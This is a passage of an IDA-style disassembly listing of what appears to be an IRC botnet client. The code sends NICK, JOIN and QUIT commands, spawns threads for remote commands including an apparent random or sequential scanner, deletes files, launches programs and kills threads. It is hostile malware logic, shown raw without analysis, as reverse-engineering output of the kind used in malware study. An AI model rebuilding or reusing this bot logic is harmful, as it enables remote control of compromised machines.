					; sub_40EC43+44F8j ...
		lea	eax, [ebp+var_2EC]
		push	eax

loc_413525:				; CODE XREF: sub_40EC43+1757j
		call	sub_40BD8D
		pop	ecx
		jmp	loc_414CDE
; ---------------------------------------------------------------------------

loc_413530:				; CODE XREF: sub_40EC43+1BD6j
					; sub_40EC43+1BEDj
		push	7Fh
		lea	eax, [ebp+var_1974]
		push	edi
		push	eax
		call	sub_418910
		mov	esi, [ebp+esi+var_8C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_41355F
		push	7Fh
		lea	eax, [ebp+var_18F4]
		push	esi
		push	eax
		call	sub_418910
		add	esp, 0Ch

loc_41355F:				; CODE XREF: sub_40EC43+4908j
		push	7Fh
		lea	eax, [ebp+var_1874]
		push	[ebp+var_8C]
		push	eax
		call	sub_418910
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_1978],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_17F0],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_17EC],	eax
		lea	eax, [ebp+var_2EC]
		push	offset dword_43563C
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	15h
		push	eax
		call	sub_416A7A
		add	esp, 24h
		mov	[ebp+var_17F4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1978]
		push	ebx
		push	eax
		push	offset sub_40BA67
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_17F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_41360F
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4355F0

loc_4135F3:				; CODE XREF: sub_40EC43+5BE9j
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		jmp	loc_4115DF
; ---------------------------------------------------------------------------

loc_413607:				; CODE XREF: sub_40EC43+49D2j
		push	32h
		call	dword_423064	; Sleep

loc_41360F:				; CODE XREF: sub_40EC43+49A2j
		cmp	[ebp+var_17E8],	ebx
		jz	short loc_413607
		jmp	loc_4115DF
; ---------------------------------------------------------------------------

loc_41361C:				; CODE XREF: sub_40EC43+1BA8j
					; sub_40EC43+1BBFj
		push	ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	edi
		call	sub_4061E4
		push	edi
		push	offset dword_4355CC
		jmp	loc_412E12
; ---------------------------------------------------------------------------

loc_413637:				; CODE XREF: sub_40EC43+1B7Aj
					; sub_40EC43+1B91j
		push	14h
		lea	eax, [ebp+var_86C]
		push	ebx
		push	eax
		call	sub_417030
		push	edi
		lea	eax, [ebp+var_858]
		push	offset aS_3	; "%s"
		push	eax
		call	sub_416FB6
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_874], eax
		lea	eax, [ebp+var_D4]
		push	eax
		lea	eax, [ebp+var_754]
		push	80h
		push	eax
		call	sub_41752A
		mov	eax, [ebp+var_4]
		mov	[ebp+var_6CC], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_6C8], eax
		lea	eax, [ebp+var_754]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	offset dword_435598
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	12h
		push	eax
		call	sub_416A7A
		add	esp, 40h
		mov	[ebp+var_6D0], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_874]
		push	ebx
		push	eax
		push	offset sub_40C330
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_6D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_41370A

loc_4136F1:				; CODE XREF: sub_40EC43+79Dj
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_435550
		jmp	loc_412988
; ---------------------------------------------------------------------------

loc_413702:				; CODE XREF: sub_40EC43+4ACDj
		push	32h
		call	dword_423064	; Sleep

loc_41370A:				; CODE XREF: sub_40EC43+4AACj
		cmp	[ebp+var_6C4], ebx
		jz	short loc_413702
		jmp	loc_40F594
; ---------------------------------------------------------------------------

loc_413717:				; CODE XREF: sub_40EC43+1B4Cj
					; sub_40EC43+1B63j
		push	edi
		call	dword_423158	; DeleteFileA
		test	eax, eax
		jz	short loc_41372A
		push	edi
		push	offset dword_435524
		jmp	short loc_413735
; ---------------------------------------------------------------------------

loc_41372A:				; CODE XREF: sub_40EC43+4ADDj
		push	offset dword_435F1C
		call	sub_40A863
		push	eax

loc_413735:				; CODE XREF: sub_40EC43+4AE5j
		lea	eax, [ebp+var_2EC]
		push	200h
		push	eax
		call	sub_41752A

loc_413746:				; CODE XREF: sub_40EC43+4BC7j
		add	esp, 10h
		jmp	loc_4115BE
; ---------------------------------------------------------------------------

loc_41374E:				; CODE XREF: sub_40EC43+1B1Ej
					; sub_40EC43+1B35j
		push	edi
		call	sub_41751F
		push	eax
		call	sub_4151A1
		xor	esi, esi
		pop	ecx
		inc	esi
		pop	ecx
		cmp	eax, esi
		push	edi
		lea	eax, [ebp+var_2EC]
		jnz	short loc_413771
		push	offset unk_4354EC
		jmp	short loc_413776
; ---------------------------------------------------------------------------

loc_413771:				; CODE XREF: sub_40EC43+4B25j
		push	offset unk_4354A8

loc_413776:				; CODE XREF: sub_40EC43+4B2Cj
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_4115E2
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D476
		add	esp, 14h
		jmp	loc_4115E2
; ---------------------------------------------------------------------------

loc_4137A9:				; CODE XREF: sub_40EC43+1AF0j
					; sub_40EC43+1B07j
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_414F16
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_4137CB
		push	offset unk_435470
		jmp	loc_4115AF
; ---------------------------------------------------------------------------

loc_4137CB:				; CODE XREF: sub_40EC43+4B7Cj
		push	offset unk_435430
		jmp	loc_4115AF
; ---------------------------------------------------------------------------

loc_4137D5:				; CODE XREF: sub_40EC43+1AC2j
					; sub_40EC43+1AD9j
		push	edi
		call	dword_43EB64	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_41380F
		push	2
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		call	dword_43EADC	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_41382A
		push	dword ptr [eax]

loc_4137F8:				; CODE XREF: sub_40EC43+4BE5j
		push	edi
		lea	eax, [ebp+var_2EC]
		push	offset dword_435404
		push	eax
		call	sub_416FB6
		jmp	loc_413746
; ---------------------------------------------------------------------------

loc_41380F:				; CODE XREF: sub_40EC43+4B9Fj
		push	edi
		call	dword_43EBA8	; gethostbyname
		cmp	eax, ebx
		jz	short loc_41382A
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_43EBB0	; inet_ntoa
		push	eax
		jmp	short loc_4137F8
; ---------------------------------------------------------------------------

loc_41382A:				; CODE XREF: sub_40EC43+4BB1j
					; sub_40EC43+4BD5j
		push	offset dword_4353CC
		jmp	loc_410E28
; ---------------------------------------------------------------------------

loc_413834:				; CODE XREF: sub_40EC43+1A94j
					; sub_40EC43+1AABj
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_418910
		push	edi
		lea	eax, [ebp+var_2EC]
		push	offset dword_435398
		push	eax
		call	sub_416FB6
		add	esp, 18h
		jmp	loc_41198E
; ---------------------------------------------------------------------------

loc_413859:				; CODE XREF: sub_40EC43+1A66j
					; sub_40EC43+1A7Dj
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43EA98
		test	eax, eax
		push	edi
		jz	short loc_413879
		push	offset dword_43535C
		jmp	loc_4115AF
; ---------------------------------------------------------------------------

loc_413879:				; CODE XREF: sub_40EC43+4C2Aj
		push	offset dword_435318
		jmp	loc_4115AF
; ---------------------------------------------------------------------------

loc_413883:				; CODE XREF: sub_40EC43+1A38j
					; sub_40EC43+1A4Fj
		mov	al, [edi]
		mov	byte_42E91C, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset dword_4352E0
		jmp	loc_410B68
; ---------------------------------------------------------------------------

loc_413898:				; CODE XREF: sub_40EC43+1A0Aj
					; sub_40EC43+1A21j
		push	edi
		call	sub_41751F
		test	eax, eax
		pop	ecx
		jle	loc_414CDE
		push	edi
		call	sub_41751F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414CDE
		push	ebx
		push	ebx
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		call	sub_415A3A
		push	eax
		lea	eax, [ebp+var_2EC]
		push	offset dword_435C84
		push	eax
		call	sub_416FB6
		add	esp, 1Ch
		jmp	loc_412D5F
; ---------------------------------------------------------------------------

loc_4138E3:				; CODE XREF: sub_40EC43+19DCj
					; sub_40EC43+19F3j
		push	edi
		call	sub_41751F
		test	eax, eax
		pop	ecx
		jle	loc_40F098
		push	edi
		call	sub_41751F
		mov	esi, 1F4h
		pop	ecx
		cmp	eax, esi
		jge	loc_40F098
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41751F
		imul	eax, 234h
		pop	ecx
		push	dword_444574[eax]
		call	sub_40D430
		pop	ecx
		pop	ecx
		push	esi
		call	dword_423064	; Sleep
		push	edi
		call	sub_41751F
		imul	eax, 234h
		pop	ecx
		push	dword_444574[eax]
		call	dword_43EBBC	; closesocket
		push	[ebp+var_10]
		push	edi
		call	sub_41751F
		imul	eax, 234h
		pop	ecx
		push	dword_44457C[eax]
		call	dword_423168	; TerminateThread
		push	edi
		call	sub_41751F
		imul	eax, 234h
		push	edi
		mov	dword_44457C[eax], ebx
		call	sub_41751F
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_444368[eax], bl
		jmp	loc_40F098
; ---------------------------------------------------------------------------

loc_41398C:				; CODE XREF: sub_40EC43+19AEj
					; sub_40EC43+19C5j
		push	edi
		push	offset aAll	; "all"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4139BB
		call	sub_416C3D
		cmp	eax, ebx
		jle	short loc_4139B1
		push	eax
		push	offset dword_435294
		jmp	loc_41165B
; ---------------------------------------------------------------------------

loc_4139B1:				; CODE XREF: sub_40EC43+4D61j
		push	offset dword_43525C
		jmp	loc_41437F
; ---------------------------------------------------------------------------

loc_4139BB:				; CODE XREF: sub_40EC43+4D58j
		mov	eax, [ebp+var_BC]
		lea	esi, [eax+1]
		jmp	short loc_413A32
; ---------------------------------------------------------------------------

loc_4139C6:				; CODE XREF: sub_40EC43+4DF2j
		mov	edi, [ebp+esi*4+var_94]
		cmp	edi, ebx
		jz	loc_40F098
		push	edi
		call	sub_41751F
		push	eax
		call	sub_416BB5
		pop	ecx
		pop	ecx
		test	eax, eax
		push	edi
		lea	eax, [ebp+var_2EC]
		jz	short loc_4139F5
		push	offset dword_435228
		jmp	short loc_4139FA
; ---------------------------------------------------------------------------

loc_4139F5:				; CODE XREF: sub_40EC43+4DA9j
		push	offset dword_4351EC

loc_4139FA:				; CODE XREF: sub_40EC43+4DB0j
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_413A24
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D476
		add	esp, 14h

loc_413A24:				; CODE XREF: sub_40EC43+4DC3j
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_40BD8D
		pop	ecx
		inc	esi

loc_413A32:				; CODE XREF: sub_40EC43+4D81j
		cmp	esi, 20h
		jb	short loc_4139C6
		jmp	loc_40F098
; ---------------------------------------------------------------------------

loc_413A3C:				; CODE XREF: sub_40EC43+1980j
					; sub_40EC43+1997j
		cmp	[ebp+var_C], ebx
		jz	loc_414CDE
		push	edi
		push	[ebp+var_C]
		call	sub_417580
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414CDE
		push	esi
		push	offset dword_4275E0
		push	[ebp+arg_4]
		call	sub_40D430
		push	esi
		push	offset dword_4351C4
		jmp	short loc_413ABA
; ---------------------------------------------------------------------------

loc_413A70:				; CODE XREF: sub_40EC43+1952j
					; sub_40EC43+1969j
		push	edi
		push	offset dword_435BB4
		push	[ebp+arg_4]
		call	sub_40D430
		push	edi
		push	offset dword_435194
		jmp	short loc_413ABA
; ---------------------------------------------------------------------------

loc_413A86:				; CODE XREF: sub_40EC43+1924j
					; sub_40EC43+193Bj
		push	[ebp+esi+var_8C]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D430
		push	edi
		push	offset dword_435164
		jmp	loc_412E12
; ---------------------------------------------------------------------------

loc_413AA6:				; CODE XREF: sub_40EC43+18F6j
					; sub_40EC43+190Dj
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D430
		push	edi
		push	offset dword_435130

loc_413ABA:				; CODE XREF: sub_40EC43+42F8j
					; sub_40EC43+4E2Bj ...
		call	sub_40BE01

loc_413ABF:				; CODE XREF: sub_40EC43+435Ej
		add	esp, 14h
		jmp	loc_414CDE
; ---------------------------------------------------------------------------

loc_413AC7:				; CODE XREF: sub_40EC43+18BBj
					; sub_40EC43+18D0j
		mov	al, byte_42E94A
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_42E94A
		jz	loc_40F098
		mov	ecx, edx

loc_413ADE:				; CODE XREF: sub_40EC43+4EA3j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_413ADE
		cmp	al, bl
		jz	loc_40F098
		mov	[ebp+arg_18], edx

loc_413AF3:				; CODE XREF: sub_40EC43+515Cj
		push	8
		call	sub_416CBC
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 258h
		jle	short loc_413B42
		push	ecx
		lea	eax, [ebp+var_2EC]
		push	offset unk_4364F0
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D476
		add	esp, 20h
		jmp	loc_413D96
; ---------------------------------------------------------------------------

loc_413B42:				; CODE XREF: sub_40EC43+4ECAj
		or	[ebp+var_46C], 0FFFFFFFFh
		cmp	dword_429D60, ebx
		mov	[ebp+var_470], 14h
		mov	[ebp+var_484], 7
		mov	[ebp+var_480], 140h
		mov	[ebp+arg_0], ebx
		jz	short loc_413BB3
		mov	eax, [ebp+arg_18]
		mov	edi, offset dword_429D60
		lea	esi, [eax-0Ah]

loc_413B7D:				; CODE XREF: sub_40EC43+4F52j
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413B99
		inc	[ebp+arg_0]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_413B7D
		jmp	short loc_413BB3
; ---------------------------------------------------------------------------

loc_413B99:				; CODE XREF: sub_40EC43+4F48j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_46C], eax
		imul	ecx, 3Ch
		mov	ecx, dword_429D60[ecx]
		mov	[ebp+var_488], ecx

loc_413BB3:				; CODE XREF: sub_40EC43+4F2Dj
					; sub_40EC43+4F54j
		cmp	[ebp+var_488], ebx
		jz	loc_413DBC
		push	10h
		lea	eax, [ebp+arg_10]
		pop	esi
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		mov	[ebp+arg_10], esi
		push	[ebp+arg_4]
		call	dword_43EAC8	; getsockname
		mov	al, [ebp+var_95F]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_E0], eax
		push	[ebp+var_E0]
		call	dword_43EBB0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_59C]
		push	eax
		call	sub_418910
		xor	eax, eax
		cmp	[ebp+var_95F], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_59C]
		push	eax
		call	sub_418C10
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_413C55

loc_413C33:				; CODE XREF: sub_40EC43+5010j
		cmp	eax, ebx
		jz	short loc_413C55
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_59C]
		push	30h
		push	eax
		call	sub_418C10
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_413C33

loc_413C55:				; CODE XREF: sub_40EC43+4FEEj
					; sub_40EC43+4FF2j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_48C], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_460], eax
		lea	eax, [ebp+var_58C]
		push	eax
		mov	[ebp+var_45C], 1
		mov	[ebp+var_464], esi
		call	sub_41752A
		mov	edi, offset a2	; "#2"
		push	offset byte_43BCE8
		push	edi
		call	sub_4173D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_413CBF
		push	edi
		lea	eax, [ebp+var_50C]
		push	80h
		push	eax
		call	sub_41752A
		add	esp, 0Ch
		jmp	short loc_413CC5
; ---------------------------------------------------------------------------

loc_413CBF:				; CODE XREF: sub_40EC43+5063j
		mov	[ebp+var_50C], bl

loc_413CC5:				; CODE XREF: sub_40EC43+507Aj
		cmp	[ebp+var_45C], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_413CD7
		mov	eax, offset aSequential	; "Sequential"

loc_413CD7:				; CODE XREF: sub_40EC43+508Dj
		push	[ebp+var_470]
		lea	ecx, [ebp+var_59C]
		push	[ebp+var_480]
		push	[ebp+var_484]
		push	[ebp+var_488]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2EC]
		push	offset unk_4350B8
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	8
		push	eax
		call	sub_416A7A
		add	esp, 2Ch
		mov	[ebp+var_47C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_59C]
		push	ebx
		push	eax
		push	offset sub_4077CC
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_47C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_413DB2
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2EC]
		push	offset unk_4363D8
		push	eax
		call	sub_416FB6
		add	esp, 0Ch

loc_413D6A:				; CODE XREF: sub_40EC43+5177j
		cmp	[ebp+var_8], ebx
		jnz	short loc_413D89
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	esi
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D476
		add	esp, 14h

loc_413D89:				; CODE XREF: sub_40EC43+512Aj
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_40BD8D
		pop	ecx

loc_413D96:				; CODE XREF: sub_40EC43+4EFAj
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_413AF3
		jmp	loc_40F098
; ---------------------------------------------------------------------------

loc_413DAA:				; CODE XREF: sub_40EC43+5175j
		push	32h
		call	dword_423064	; Sleep

loc_413DB2:				; CODE XREF: sub_40EC43+510Aj
		cmp	[ebp+var_458], ebx
		jz	short loc_413DAA
		jmp	short loc_413D6A
; ---------------------------------------------------------------------------

loc_413DBC:				; CODE XREF: sub_40EC43+30CEj
					; sub_40EC43+4F76j
		push	offset unk_435070
		jmp	loc_411980
; ---------------------------------------------------------------------------

loc_413DC6:				; CODE XREF: sub_40EC43+1891j
					; sub_40EC43+18A6j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_A4]
		push	80h
		push	eax
		call	sub_41752A
		mov	eax, [ebp+arg_4]
		push	offset unk_435034
		mov	[ebp+var_A8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_2EC]
		push	200h
		push	eax
		call	sub_41752A
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	1Eh
		push	eax
		call	sub_416A7A
		add	esp, 24h
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A8]
		push	ebx
		push	eax
		push	offset sub_408E7C
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_24]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_413E62
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434FE8
		jmp	loc_412988
; ---------------------------------------------------------------------------

loc_413E5A:				; CODE XREF: sub_40EC43+5222j
		push	32h
		call	dword_423064	; Sleep

loc_413E62:				; CODE XREF: sub_40EC43+5204j
		cmp	[ebp+var_18], ebx
		jz	short loc_413E5A
		jmp	loc_40F594
; ---------------------------------------------------------------------------

loc_413E6C:				; CODE XREF: sub_40EC43+1867j
					; sub_40EC43+187Cj
		push	4
		call	sub_416CBC
		test	eax, eax
		pop	ecx
		jle	short loc_413E82
		push	offset unk_434FB8
		jmp	loc_411980
; ---------------------------------------------------------------------------

loc_413E82:				; CODE XREF: sub_40EC43+5233j
		mov	eax, [ebp+esi+var_90]
		mov	edi, 104h
		cmp	eax, ebx
		jz	short loc_413EA5
		push	eax
		lea	eax, [ebp+var_16DC]
		push	edi
		push	eax
		call	sub_41752A
		add	esp, 0Ch
		jmp	short loc_413EB4
; ---------------------------------------------------------------------------

loc_413EA5:				; CODE XREF: sub_40EC43+524Dj
		lea	eax, [ebp+var_16DC]
		push	edi
		push	eax
		push	ebx
		call	dword_423094	; GetModuleFileNameA

loc_413EB4:				; CODE XREF: sub_40EC43+5260j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_413EC4
		mov	esi, offset byte_42E9B8

loc_413EC4:				; CODE XREF: sub_40EC43+527Aj
		push	esi
		lea	eax, [ebp+var_15D8]
		push	edi
		push	eax
		call	sub_41752A
		mov	eax, dword_42E904
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_14CC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14D0],	ebx
		mov	[ebp+var_16E0],	eax
		lea	eax, [ebp+var_14C8]
		push	eax
		call	sub_418910
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1448],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1444],	eax
		lea	eax, [ebp+var_15D8]
		push	eax
		lea	eax, [ebp+var_16DC]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	[ebp+var_14CC]
		push	offset unk_434F68
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	4
		push	eax
		call	sub_416A7A
		add	esp, 38h
		mov	[ebp+var_14D4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_16E0]
		push	ebx
		push	eax
		push	offset sub_406A71
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_14D4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_413F97
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434F20
		jmp	loc_410B68
; ---------------------------------------------------------------------------

loc_413F8F:				; CODE XREF: sub_40EC43+535Aj
		push	32h
		call	dword_423064	; Sleep

loc_413F97:				; CODE XREF: sub_40EC43+5339j
		cmp	[ebp+var_1440],	ebx
		jz	short loc_413F8F
		jmp	loc_41198E
; ---------------------------------------------------------------------------

loc_413FA4:				; CODE XREF: sub_40EC43+183Dj
					; sub_40EC43+1852j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_413FC3
		push	edi
		call	sub_41751F
		test	eax, eax
		pop	ecx
		jz	short loc_413FC3
		push	edi
		call	sub_41751F
		pop	ecx
		jmp	short loc_413FC8
; ---------------------------------------------------------------------------

loc_413FC3:				; CODE XREF: sub_40EC43+536Aj
					; sub_40EC43+5375j
		mov	eax, dword_42E908

loc_413FC8:				; CODE XREF: sub_40EC43+537Ej
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_D70], eax
		xor	eax, eax
		cmp	[ebp+var_95C], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_D5C], eax
		jz	short loc_413FFB
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx
		jmp	short loc_414026
; ---------------------------------------------------------------------------

loc_413FFB:				; CODE XREF: sub_40EC43+53A5j
		lea	eax, [ebp+var_AC4]
		push	104h
		push	eax
		call	dword_423068	; GetSystemDirectoryA
		push	ebx
		push	ebx
		lea	eax, [ebp+var_E0]
		push	ebx
		push	eax
		lea	eax, [ebp+var_AC4]
		push	eax
		call	sub_418FB8
		add	esp, 14h

loc_414026:				; CODE XREF: sub_40EC43+53B6j
		lea	eax, [ebp+var_E74]
		push	eax
		call	sub_4177B0
		cmp	[ebp+eax+var_E75], 5Ch
		pop	ecx
		jnz	short loc_414051
		lea	eax, [ebp+var_E74]
		push	eax
		call	sub_4177B0
		pop	ecx
		mov	[ebp+eax+var_E75], bl

loc_414051:				; CODE XREF: sub_40EC43+53F8j
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_10FC]
		mov	[ebp+var_1100],	esi
		push	80h
		push	eax
		call	sub_41752A
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_D60], eax
		lea	eax, [ebp+var_E74]
		mov	[ebp+var_D64], edi
		push	eax
		push	[ebp+var_D70]
		push	esi
		call	sub_40AD08
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2EC]
		push	offset unk_434ED0
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	3
		push	eax
		call	sub_416A7A
		add	esp, 20h
		mov	[ebp+var_D68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1100]
		push	ebx
		push	eax
		push	offset sub_405983
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_D68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_41410C
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434E88
		jmp	loc_414236
; ---------------------------------------------------------------------------

loc_414104:				; CODE XREF: sub_40EC43+54CFj
		push	32h
		call	dword_423064	; Sleep

loc_41410C:				; CODE XREF: sub_40EC43+54AEj
		cmp	[ebp+var_D54], ebx
		jz	short loc_414104
		jmp	loc_414245
; ---------------------------------------------------------------------------

loc_414119:				; CODE XREF: sub_40EC43+1813j
					; sub_40EC43+1828j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_414138
		push	edi
		call	sub_41751F
		test	eax, eax
		pop	ecx
		jz	short loc_414138
		push	edi
		call	sub_41751F
		pop	ecx
		jmp	short loc_41413D
; ---------------------------------------------------------------------------

loc_414138:				; CODE XREF: sub_40EC43+54DFj
					; sub_40EC43+54EAj
		mov	eax, dword_42E90C

loc_41413D:				; CODE XREF: sub_40EC43+54F3j
		mov	[ebp+var_AF0], eax
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jnz	short loc_414154
		lea	eax, [ebp+var_D4]

loc_414154:				; CODE XREF: sub_40EC43+5509j
		push	eax
		lea	eax, [ebp+var_C30]
		push	40h
		push	eax
		call	sub_41752A
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_414176
		mov	esi, offset byte_43BCE8

loc_414176:				; CODE XREF: sub_40EC43+552Cj
		push	esi
		lea	eax, [ebp+var_BF0]
		push	100h
		push	eax
		call	sub_41752A
		push	[ebp+var_8C]
		lea	eax, [ebp+var_CB0]
		push	80h
		push	eax
		call	sub_41752A
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_ADC], eax
		lea	eax, [ebp+var_C30]
		push	eax
		mov	[ebp+var_CB4], esi
		push	[ebp+var_AF0]
		mov	[ebp+var_AE0], edi
		push	esi
		call	sub_40AD08
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2EC]
		push	offset dword_434E38
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	6
		push	eax
		call	sub_416A7A
		add	esp, 20h
		mov	[ebp+var_AEC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_CB4]
		push	ebx
		push	eax
		push	offset sub_41547D
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
